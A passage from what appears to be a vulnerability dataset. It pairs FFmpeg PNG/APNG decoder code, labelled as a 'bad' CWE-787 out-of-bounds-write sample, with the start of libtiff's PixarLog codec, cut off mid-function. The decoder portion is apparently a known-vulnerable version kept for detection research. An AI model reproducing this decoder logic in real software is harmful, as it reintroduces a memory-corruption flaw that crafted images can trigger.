uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width / 4; if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if ((s->width&3) >= 3) pd[4*i + 2]= (pd[i] >> 2) & 3; if ((s->width&3) >= 2) pd[4*i + 1]= (pd[i] >> 4) & 3; if ((s->width&3) >= 1) pd[4*i + 0]= pd[i] >> 6; for (i--; i >= 0; i--) { pd[4*i + 3]= pd[i] & 3; pd[4*i + 2]= (pd[i]>>2) & 3; pd[4*i + 1]= (pd[i]>>4) & 3; pd[4*i + 0]= pd[i]>>6; } } else { if ((s->width&3) >= 3) pd[4*i + 2]= ((pd[i]>>2) & 3)*0x55; if ((s->width&3) >= 2) pd[4*i + 1]= ((pd[i]>>4) & 3)*0x55; if ((s->width&3) >= 1) pd[4*i + 0]= ( pd[i]>>6 )*0x55; for (i--; i >= 0; i--) { pd[4*i + 3]= ( pd[i] & 3)*0x55; pd[4*i + 2]= ((pd[i]>>2) & 3)*0x55; pd[4*i + 1]= ((pd[i]>>4) & 3)*0x55; pd[4*i + 0]= ( pd[i]>>6 )*0x55; } } pd += s->image_linesize; } } else if (s->bits_per_pixel == 4) { int i, j; uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width/2; if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if (s->width&1) pd[2*i+0]= pd[i]>>4; for (i--; i >= 0; i--) { pd[2*i + 1] = pd[i] & 15; pd[2*i + 0] = pd[i] >> 4; } } else { if (s->width & 1) pd[2*i + 0]= (pd[i] >> 4) * 0x11; for (i--; i >= 0; i--) { pd[2*i + 1] = (pd[i] & 15) * 0x11; pd[2*i + 0] = (pd[i] >> 4) * 0x11; } } pd += s->image_linesize; } } } static int decode_fctl_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { uint32_t sequence_number; int cur_w, cur_h, x_offset, y_offset, dispose_op, blend_op; if (length != 26) return AVERROR_INVALIDDATA; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "fctl before IHDR\n"); return AVERROR_INVALIDDATA; } s->last_w = s->cur_w; s->last_h = s->cur_h; s->last_x_offset = s->x_offset; s->last_y_offset = s->y_offset; s->last_dispose_op = s->dispose_op; sequence_number = bytestream2_get_be32(&s->gb); cur_w = bytestream2_get_be32(&s->gb); cur_h = bytestream2_get_be32(&s->gb); x_offset = bytestream2_get_be32(&s->gb); y_offset = bytestream2_get_be32(&s->gb); bytestream2_skip(&s->gb, 4); /* delay_num (2), delay_den (2) */ dispose_op = bytestream2_get_byte(&s->gb); blend_op = bytestream2_get_byte(&s->gb); bytestream2_skip(&s->gb, 4); /* crc */ if (sequence_number == 0 && (cur_w != s->width || cur_h != s->height || x_offset != 0 || y_offset != 0) || cur_w <= 0 || cur_h <= 0 || x_offset < 0 || y_offset < 0 || cur_w > s->width - x_offset|| cur_h > s->height - y_offset) return AVERROR_INVALIDDATA; if (blend_op != APNG_BLEND_OP_OVER && blend_op != APNG_BLEND_OP_SOURCE) { av_log(avctx, AV_LOG_ERROR, "Invalid blend_op %d\n", blend_op); return AVERROR_INVALIDDATA; } if ((sequence_number == 0 || !s->previous_picture.f->data[0]) && dispose_op == APNG_DISPOSE_OP_PREVIOUS) { // No previous frame to revert to for the first frame // Spec says to just treat it as a APNG_DISPOSE_OP_BACKGROUND dispose_op = APNG_DISPOSE_OP_BACKGROUND; } if (blend_op == APNG_BLEND_OP_OVER && !s->has_trns && ( avctx->pix_fmt == AV_PIX_FMT_RGB24 || avctx->pix_fmt == AV_PIX_FMT_RGB48BE || avctx->pix_fmt == AV_PIX_FMT_PAL8 || avctx->pix_fmt == AV_PIX_FMT_GRAY8 || avctx->pix_fmt == AV_PIX_FMT_GRAY16BE || avctx->pix_fmt == AV_PIX_FMT_MONOBLACK )) { // APNG_BLEND_OP_OVER is the same as APNG_BLEND_OP_SOURCE when there is no alpha channel blend_op = APNG_BLEND_OP_SOURCE; } s->cur_w = cur_w; s->cur_h = cur_h; s->x_offset = x_offset; s->y_offset = y_offset; s->dispose_op = dispose_op; s->blend_op = blend_op; return 0; } static void handle_p_frame_png(PNGDecContext *s, AVFrame *p) { int i, j; uint8_t *pd = p->data[0]; uint8_t *pd_last = s->last_picture.f->data[0]; int ls = FFMIN(av_image_get_linesize(p->format, s->width, 0), s->width * s->bpp); ff_thread_await_progress(&s->last_picture, INT_MAX, 0); for (j = 0; j < s->height; j++) { for (i = 0; i < ls; i++) pd[i] += pd_last[i]; pd += s->image_linesize; pd_last += s->image_linesize; } } // divide by 255 and round to nearest // apply a fast variant: (X+127)/255 = ((X+127)*257+257)>>16 = ((X+128)*257)>>16 #define FAST_DIV255(x) ((((x) + 128) * 257) >> 16) static int handle_p_frame_apng(AVCodecContext *avctx, PNGDecContext *s, AVFrame *p) { size_t x, y; uint8_t *buffer; if (s->blend_op == APNG_BLEND_OP_OVER && avctx->pix_fmt != AV_PIX_FMT_RGBA && avctx->pix_fmt != AV_PIX_FMT_GRAY8A && avctx->pix_fmt != AV_PIX_FMT_PAL8) { avpriv_request_sample(avctx, "Blending with pixel format %s", av_get_pix_fmt_name(avctx->pix_fmt)); return AVERROR_PATCHWELCOME; } buffer = av_malloc_array(s->image_linesize, s->height); if (!buffer) return AVERROR(ENOMEM); // Do the disposal operation specified by the last frame on the frame if (s->last_dispose_op != APNG_DISPOSE_OP_PREVIOUS) { ff_thread_await_progress(&s->last_picture, INT_MAX, 0); memcpy(buffer, s->last_picture.f->data[0], s->image_linesize * s->height); if (s->last_dispose_op == APNG_DISPOSE_OP_BACKGROUND) for (y = s->last_y_offset; y < s->last_y_offset + s->last_h; ++y) memset(buffer + s->image_linesize * y + s->bpp * s->last_x_offset, 0, s->bpp * s->last_w); memcpy(s->previous_picture.f->data[0], buffer, s->image_linesize * s->height); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); } else { ff_thread_await_progress(&s->previous_picture, INT_MAX, 0); memcpy(buffer, s->previous_picture.f->data[0], s->image_linesize * s->height); } // Perform blending if (s->blend_op == APNG_BLEND_OP_SOURCE) { for (y = s->y_offset; y < s->y_offset + s->cur_h; ++y) { size_t row_start = s->image_linesize * y + s->bpp * s->x_offset; memcpy(buffer + row_start, p->data[0] + row_start, s->bpp * s->cur_w); } } else { // APNG_BLEND_OP_OVER for (y = s->y_offset; y < s->y_offset + s->cur_h; ++y) { uint8_t *foreground = p->data[0] + s->image_linesize * y + s->bpp * s->x_offset; uint8_t *background = buffer + s->image_linesize * y + s->bpp * s->x_offset; for (x = s->x_offset; x < s->x_offset + s->cur_w; ++x, foreground += s->bpp, background += s->bpp) { size_t b; uint8_t foreground_alpha, background_alpha, output_alpha; uint8_t output[10]; // Since we might be blending alpha onto alpha, we use the following equations: // output_alpha = foreground_alpha + (1 - foreground_alpha) * background_alpha // output = (foreground_alpha * foreground + (1 - foreground_alpha) * background_alpha * background) / output_alpha switch (avctx->pix_fmt) { case AV_PIX_FMT_RGBA: foreground_alpha = foreground[3]; background_alpha = background[3]; break; case AV_PIX_FMT_GRAY8A: foreground_alpha = foreground[1]; background_alpha = background[1]; break; case AV_PIX_FMT_PAL8: foreground_alpha = s->palette[foreground[0]] >> 24; background_alpha = s->palette[background[0]] >> 24; break; } if (foreground_alpha == 0) continue; if (foreground_alpha == 255) { memcpy(background, foreground, s->bpp); continue; } if (avctx->pix_fmt == AV_PIX_FMT_PAL8) { // TODO: Alpha blending with PAL8 will likely need the entire image converted over to RGBA first avpriv_request_sample(avctx, "Alpha blending palette samples"); background[0] = foreground[0]; continue; } output_alpha = foreground_alpha + FAST_DIV255((255 - foreground_alpha) * background_alpha); av_assert0(s->bpp <= 10); for (b = 0; b < s->bpp - 1; ++b) { if (output_alpha == 0) { output[b] = 0; } else if (background_alpha == 255) { output[b] = FAST_DIV255(foreground_alpha * foreground[b] + (255 - foreground_alpha) * background[b]); } else { output[b] = (255 * foreground_alpha * foreground[b] + (255 - foreground_alpha) * background_alpha * background[b]) / (255 * output_alpha); } } output[b] = output_alpha; memcpy(background, output, s->bpp); } } } // Copy blended buffer into the frame and free memcpy(p->data[0], buffer, s->image_linesize * s->height); av_free(buffer); return 0; } static int decode_frame_common(AVCodecContext *avctx, PNGDecContext *s, AVFrame *p, AVPacket *avpkt) { AVDictionary *metadata = NULL; uint32_t tag, length; int decode_next_dat = 0; int ret; for (;;) { length = bytestream2_get_bytes_left(&s->gb); if (length <= 0) { if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { av_frame_set_metadata(p, metadata); return 0; } if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && length == 0) { if (!(s->state & PNG_IDAT)) return 0; else goto exit_loop; } av_log(avctx, AV_LOG_ERROR, "%d bytes left\n", length); if ( s->state & PNG_ALLIMAGE && avctx->strict_std_compliance <= FF_COMPLIANCE_NORMAL) goto exit_loop; ret = AVERROR_INVALIDDATA; goto fail; } length = bytestream2_get_be32(&s->gb); if (length > 0x7fffffff || length > bytestream2_get_bytes_left(&s->gb)) { av_log(avctx, AV_LOG_ERROR, "chunk too big\n"); ret = AVERROR_INVALIDDATA; goto fail; } tag = bytestream2_get_le32(&s->gb); if (avctx->debug & FF_DEBUG_STARTCODE) av_log(avctx, AV_LOG_DEBUG, "png: tag=%c%c%c%c length=%u\n", (tag & 0xff), ((tag >> 8) & 0xff), ((tag >> 16) & 0xff), ((tag >> 24) & 0xff), length); if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { switch(tag) { case MKTAG('I', 'H', 'D', 'R'): case MKTAG('p', 'H', 'Y', 's'): case MKTAG('t', 'E', 'X', 't'): case MKTAG('I', 'D', 'A', 'T'): case MKTAG('t', 'R', 'N', 'S'): break; default: goto skip_tag; } } switch (tag) { case MKTAG('I', 'H', 'D', 'R'): if ((ret = decode_ihdr_chunk(avctx, s, length)) < 0) goto fail; break; case MKTAG('p', 'H', 'Y', 's'): if ((ret = decode_phys_chunk(avctx, s)) < 0) goto fail; break; case MKTAG('f', 'c', 'T', 'L'): if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG) goto skip_tag; if ((ret = decode_fctl_chunk(avctx, s, length)) < 0) goto fail; decode_next_dat = 1; break; case MKTAG('f', 'd', 'A', 'T'): if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG) goto skip_tag; if (!decode_next_dat) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_get_be32(&s->gb); length -= 4; /* fallthrough */ case MKTAG('I', 'D', 'A', 'T'): if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && !decode_next_dat) goto skip_tag; if ((ret = decode_idat_chunk(avctx, s, length, p)) < 0) goto fail; break; case MKTAG('P', 'L', 'T', 'E'): if (decode_plte_chunk(avctx, s, length) < 0) goto skip_tag; break; case MKTAG('t', 'R', 'N', 'S'): if (decode_trns_chunk(avctx, s, length) < 0) goto skip_tag; break; case MKTAG('t', 'E', 'X', 't'): if (decode_text_chunk(s, length, 0, &metadata) < 0) av_log(avctx, AV_LOG_WARNING, "Broken tEXt chunk\n"); bytestream2_skip(&s->gb, length + 4); break; case MKTAG('z', 'T', 'X', 't'): if (decode_text_chunk(s, length, 1, &metadata) < 0) av_log(avctx, AV_LOG_WARNING, "Broken zTXt chunk\n"); bytestream2_skip(&s->gb, length + 4); break; case MKTAG('s', 'T', 'E', 'R'): { int mode = bytestream2_get_byte(&s->gb); AVStereo3D *stereo3d = av_stereo3d_create_side_data(p); if (!stereo3d) goto fail; if (mode == 0 || mode == 1) { stereo3d->type = AV_STEREO3D_SIDEBYSIDE; stereo3d->flags = mode ? 0 : AV_STEREO3D_FLAG_INVERT; } else { av_log(avctx, AV_LOG_WARNING, "Unknown value in sTER chunk (%d)\n", mode); } bytestream2_skip(&s->gb, 4); /* crc */ break; } case MKTAG('I', 'E', 'N', 'D'): if (!(s->state & PNG_ALLIMAGE)) av_log(avctx, AV_LOG_ERROR, "IEND without all image\n"); if (!(s->state & (PNG_ALLIMAGE|PNG_IDAT))) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_skip(&s->gb, 4); /* crc */ goto exit_loop; default: /* skip tag */ skip_tag: bytestream2_skip(&s->gb, length + 4); break; } } exit_loop: if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { av_frame_set_metadata(p, metadata); return 0; } if (s->bits_per_pixel <= 4) handle_small_bpp(s, p); /* apply transparency if needed */ if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) { size_t byte_depth = s->bit_depth > 8 ? 2 : 1; size_t raw_bpp = s->bpp - byte_depth; unsigned x, y; for (y = 0; y < s->height; ++y) { uint8_t *row = &s->image_buf[s->image_linesize * y]; /* since we're updating in-place, we have to go from right to left */ for (x = s->width; x > 0; --x) { uint8_t *pixel = &row[s->bpp * (x - 1)]; memmove(pixel, &row[raw_bpp * (x - 1)], raw_bpp); if (!memcmp(pixel, s->transparent_color_be, raw_bpp)) { memset(&pixel[raw_bpp], 0, byte_depth); } else { memset(&pixel[raw_bpp], 0xff, byte_depth); } } } } /* handle P-frames only if a predecessor frame is available */ if (s->last_picture.f->data[0]) { if ( !(avpkt->flags & AV_PKT_FLAG_KEY) && avctx->codec_tag != AV_RL32("MPNG") && s->last_picture.f->width == p->width && s->last_picture.f->height== p->height && s->last_picture.f->format== p->format ) { if (CONFIG_PNG_DECODER && avctx->codec_id != AV_CODEC_ID_APNG) handle_p_frame_png(s, p); else if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && (ret = handle_p_frame_apng(avctx, s, p)) < 0) goto fail; } } ff_thread_report_progress(&s->picture, INT_MAX, 0); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); av_frame_set_metadata(p, metadata); metadata = NULL; return 0; fail: av_dict_free(&metadata); ff_thread_report_progress(&s->picture, INT_MAX, 0); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); return ret; } #if CONFIG_PNG_DECODER static int decode_frame_png(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { PNGDecContext *const s = avctx->priv_data; const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; AVFrame *p; int64_t sig; int ret; ff_thread_release_buffer(avctx, &s->last_picture); FFSWAP(ThreadFrame, s->picture, s->last_picture); p = s->picture.f; bytestream2_init(&s->gb, buf, buf_size); /* check signature */ sig = bytestream2_get_be64(&s->gb); if (sig != PNGSIG && sig != MNGSIG) { av_log(avctx, AV_LOG_ERROR, "Invalid PNG signature 0x%08"PRIX64".\n", sig); return AVERROR_INVALIDDATA; } s->y = s->state = s->has_trns = 0; /* init the zlib */ s->zstream.zalloc = ff_png_zalloc; s->zstream.zfree = ff_png_zfree; s->zstream.opaque = NULL; ret = inflateInit(&s->zstream); if (ret != Z_OK) { av_log(avctx, AV_LOG_ERROR, "inflateInit returned error %d\n", ret); return AVERROR_EXTERNAL; } if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto the_end; if (avctx->skip_frame == AVDISCARD_ALL) { *got_frame = 0; ret = bytestream2_tell(&s->gb); goto the_end; } if ((ret = av_frame_ref(data, s->picture.f)) < 0) return ret; *got_frame = 1; ret = bytestream2_tell(&s->gb); the_end: inflateEnd(&s->zstream); s->crow_buf = NULL; return ret; } #endif #if CONFIG_APNG_DECODER static int decode_frame_apng(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { PNGDecContext *const s = avctx->priv_data; int ret; AVFrame *p; ff_thread_release_buffer(avctx, &s->last_picture); FFSWAP(ThreadFrame, s->picture, s->last_picture); p = s->picture.f; if (!(s->state & PNG_IHDR)) { if (!avctx->extradata_size) return AVERROR_INVALIDDATA; /* only init fields, there is no zlib use in extradata */ s->zstream.zalloc = ff_png_zalloc; s->zstream.zfree = ff_png_zfree; bytestream2_init(&s->gb, avctx->extradata, avctx->extradata_size); if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto end; } /* reset state for a new frame */ if ((ret = inflateInit(&s->zstream)) != Z_OK) { av_log(avctx, AV_LOG_ERROR, "inflateInit returned error %d\n", ret); ret = AVERROR_EXTERNAL; goto end; } s->y = 0; s->state &= ~(PNG_IDAT | PNG_ALLIMAGE); bytestream2_init(&s->gb, avpkt->data, avpkt->size); if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto end; if (!(s->state & PNG_ALLIMAGE)) av_log(avctx, AV_LOG_WARNING, "Frame did not contain a complete image\n"); if (!(s->state & (PNG_ALLIMAGE|PNG_IDAT))) { ret = AVERROR_INVALIDDATA; goto end; } if ((ret = av_frame_ref(data, s->picture.f)) < 0) goto end; *got_frame = 1; ret = bytestream2_tell(&s->gb); end: inflateEnd(&s->zstream); return ret; } #endif #if HAVE_THREADS static int update_thread_context(AVCodecContext *dst, const AVCodecContext *src) { PNGDecContext *psrc = src->priv_data; PNGDecContext *pdst = dst->priv_data; int ret; if (dst == src) return 0; ff_thread_release_buffer(dst, &pdst->picture); if (psrc->picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->picture, &psrc->picture)) < 0) return ret; if (CONFIG_APNG_DECODER && dst->codec_id == AV_CODEC_ID_APNG) { pdst->width = psrc->width; pdst->height = psrc->height; pdst->bit_depth = psrc->bit_depth; pdst->color_type = psrc->color_type; pdst->compression_type = psrc->compression_type; pdst->interlace_type = psrc->interlace_type; pdst->filter_type = psrc->filter_type; pdst->cur_w = psrc->cur_w; pdst->cur_h = psrc->cur_h; pdst->x_offset = psrc->x_offset; pdst->y_offset = psrc->y_offset; pdst->has_trns = psrc->has_trns; memcpy(pdst->transparent_color_be, psrc->transparent_color_be, sizeof(pdst->transparent_color_be)); pdst->dispose_op = psrc->dispose_op; memcpy(pdst->palette, psrc->palette, sizeof(pdst->palette)); pdst->state |= psrc->state & (PNG_IHDR | PNG_PLTE); ff_thread_release_buffer(dst, &pdst->last_picture); if (psrc->last_picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->last_picture, &psrc->last_picture)) < 0) return ret; ff_thread_release_buffer(dst, &pdst->previous_picture); if (psrc->previous_picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->previous_picture, &psrc->previous_picture)) < 0) return ret; } return 0; } #endif static av_cold int png_dec_init(AVCodecContext *avctx) { PNGDecContext *s = avctx->priv_data; avctx->color_range = AVCOL_RANGE_JPEG; s->avctx = avctx; s->previous_picture.f = av_frame_alloc(); s->last_picture.f = av_frame_alloc(); s->picture.f = av_frame_alloc(); if (!s->previous_picture.f || !s->last_picture.f || !s->picture.f) { av_frame_free(&s->previous_picture.f); av_frame_free(&s->last_picture.f); av_frame_free(&s->picture.f); return AVERROR(ENOMEM); } if (!avctx->internal->is_copy) { avctx->internal->allocate_progress = 1; ff_pngdsp_init(&s->dsp); } return 0; } static av_cold int png_dec_end(AVCodecContext *avctx) { PNGDecContext *s = avctx->priv_data; ff_thread_release_buffer(avctx, &s->previous_picture); av_frame_free(&s->previous_picture.f); ff_thread_release_buffer(avctx, &s->last_picture); av_frame_free(&s->last_picture.f); ff_thread_release_buffer(avctx, &s->picture); av_frame_free(&s->picture.f); av_freep(&s->buffer); s->buffer_size = 0; av_freep(&s->last_row); s->last_row_size = 0; av_freep(&s->tmp_row); s->tmp_row_size = 0; return 0; } #if CONFIG_APNG_DECODER AVCodec ff_apng_decoder = { .name = "apng", .long_name = NULL_IF_CONFIG_SMALL("APNG (Animated Portable Network Graphics) image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_APNG, .priv_data_size = sizeof(PNGDecContext), .init = png_dec_init, .close = png_dec_end, .decode = decode_frame_apng, .init_thread_copy = ONLY_IF_THREADS_ENABLED(png_dec_init), .update_thread_context = ONLY_IF_THREADS_ENABLED(update_thread_context), .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS /*| AV_CODEC_CAP_DRAW_HORIZ_BAND*/, }; #endif #if CONFIG_PNG_DECODER AVCodec ff_png_decoder = { .name = "png", .long_name = NULL_IF_CONFIG_SMALL("PNG (Portable Network Graphics) image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_PNG, .priv_data_size = sizeof(PNGDecContext), .init = png_dec_init, .close = png_dec_end, .decode = decode_frame_png, .init_thread_copy = ONLY_IF_THREADS_ENABLED(png_dec_init), .update_thread_context = ONLY_IF_THREADS_ENABLED(update_thread_context), .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS /*| AV_CODEC_CAP_DRAW_HORIZ_BAND*/, .caps_internal = FF_CODEC_CAP_SKIP_FRAME_FILL_PARAM, }; #endif
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3298_0
crossvul-cpp_data_good_5474_1
/* $Id$ */ /* * Copyright (c) 1996-1997 Sam Leffler * Copyright (c) 1996 Pixar * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Pixar, Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tiffiop.h" #ifdef PIXARLOG_SUPPORT /* * TIFF Library. * PixarLog Compression Support * * Contributed by Dan McCoy. * * PixarLog film support uses the TIFF library to store companded * 11 bit values into a tiff file, which are compressed using the * zip compressor. * * The codec can take as input and produce as output 32-bit IEEE float values * as well as 16-bit or 8-bit unsigned integer values. * * On writing any of the above are converted into the internal * 11-bit log format. In the case of 8 and 16 bit values, the * input is assumed to be unsigned linear color values that represent * the range 0-1. In the case of IEEE values, the 0-1 range is assumed to * be the normal linear color range, in addition over 1 values are * accepted up to a value of about 25.0 to encode "hot" highlights and such. * The encoding is lossless for 8-bit values, slightly lossy for the * other bit depths. The actual color precision should be better * than the human eye can perceive with extra room to allow for * error introduced by further image computation. As with any quantized * color format, it is possible to perform image calculations which * expose the quantization error. This format should certainly be less * susceptible to such errors than standard 8-bit encodings, but more * susceptible than straight 16-bit or 32-bit encodings. * * On reading the internal format is converted to the desired output format. * The program can request which format it desires by setting the internal * pseudo tag TIFFTAG_PIXARLOGDATAFMT to one of these possible values: * PIXARLOGDATAFMT_FLOAT = provide IEEE float values. * PIXARLOGDATAFMT_16BIT = provide unsigned 16-bit integer values * PIXARLOGDATAFMT_8BIT = provide unsigned 8-bit integer values * * alternately PIXARLOGDATAFMT_8BITABGR provides unsigned 8-bit integer * values with the difference that if there are exactly three or four channels * (rgb or rgba) it swaps the channel order (bgr or abgr). * * PIXARLOGDATAFMT_11BITLOG provides the internal encoding directly * packed in 16-bit values. However no tools are supplied for interpreting * these values. * * "hot" (over 1.0) areas written in floating point get clamped to * 1.0 in the integer data types. * * When the file is closed after writing, the bit depth and sample format * are set always to appear as if 8-bit data has been written into it. * That way a naive program unaware of the particulars of the encoding * gets the format it is most likely able to handle. * * The codec does it's own horizontal differencing step on the coded * values so the libraries predictor stuff should be turned off. * The codec also handle byte swapping the encoded values as necessary * since the library does not have the information necessary * to know the bit depth of the raw unencoded buffer. * * NOTE: This decoder does not appear to update tif_rawcp, and tif_rawcc. * This can cause problems with the implementation of CHUNKY_STRIP_READ_SUPPORT * as noted in http://trac.osgeo.org/gdal/ticket/3894. FrankW - Jan'11 */ #include "tif_predict.h" #include "zlib.h" #include <stdio.h> #include <stdlib.h> #include <math.h> /* Tables for converting to/from 11 bit coded values */ #define TSIZE 2048 /* decode table size (11-bit tokens) */ #define TSIZEP1 2049 /* Plus one for slop */ #define ONE 1250 /* token value of 1.0 exactly */ #define RATIO 1.004 /* nominal ratio for log part */ #define CODE_MASK 0x7ff /* 11 bits. */ static float Fltsize; static float LogK1, LogK2; #define REPEAT(n, op) { int i; i=n; do { i--; op; } while (i>0); } static void horizontalAccumulateF(uint16 *wp, int n, int stride, float *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; t3 = ToLinearF[ca = (wp[3] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; t3 = ToLinearF[(ca += wp[3]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate12(uint16 *wp, int n, int stride, int16 *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; #define SCALE12 2048.0F #define CLAMP12(t) (((t) < 3071) ? (uint16) (t) : 3071) if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; t3 = ToLinearF[ca = (wp[3] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; t3 = ToLinearF[(ca += wp[3]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); } } else { REPEAT(stride, t0 = ToLinearF[*wp&mask] * SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; t0 = ToLinearF[wp[stride]&mask]*SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; } } } } static void horizontalAccumulate16(uint16 *wp, int n, int stride, uint16 *op, uint16 *ToLinear16) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; op[3] = ToLinear16[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; op[3] = ToLinear16[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; } } } } /* * Returns the log encoded 11-bit values with the horizontal * differencing undone. */ static void horizontalAccumulate11(uint16 *wp, int n, int stride, uint16 *op) { 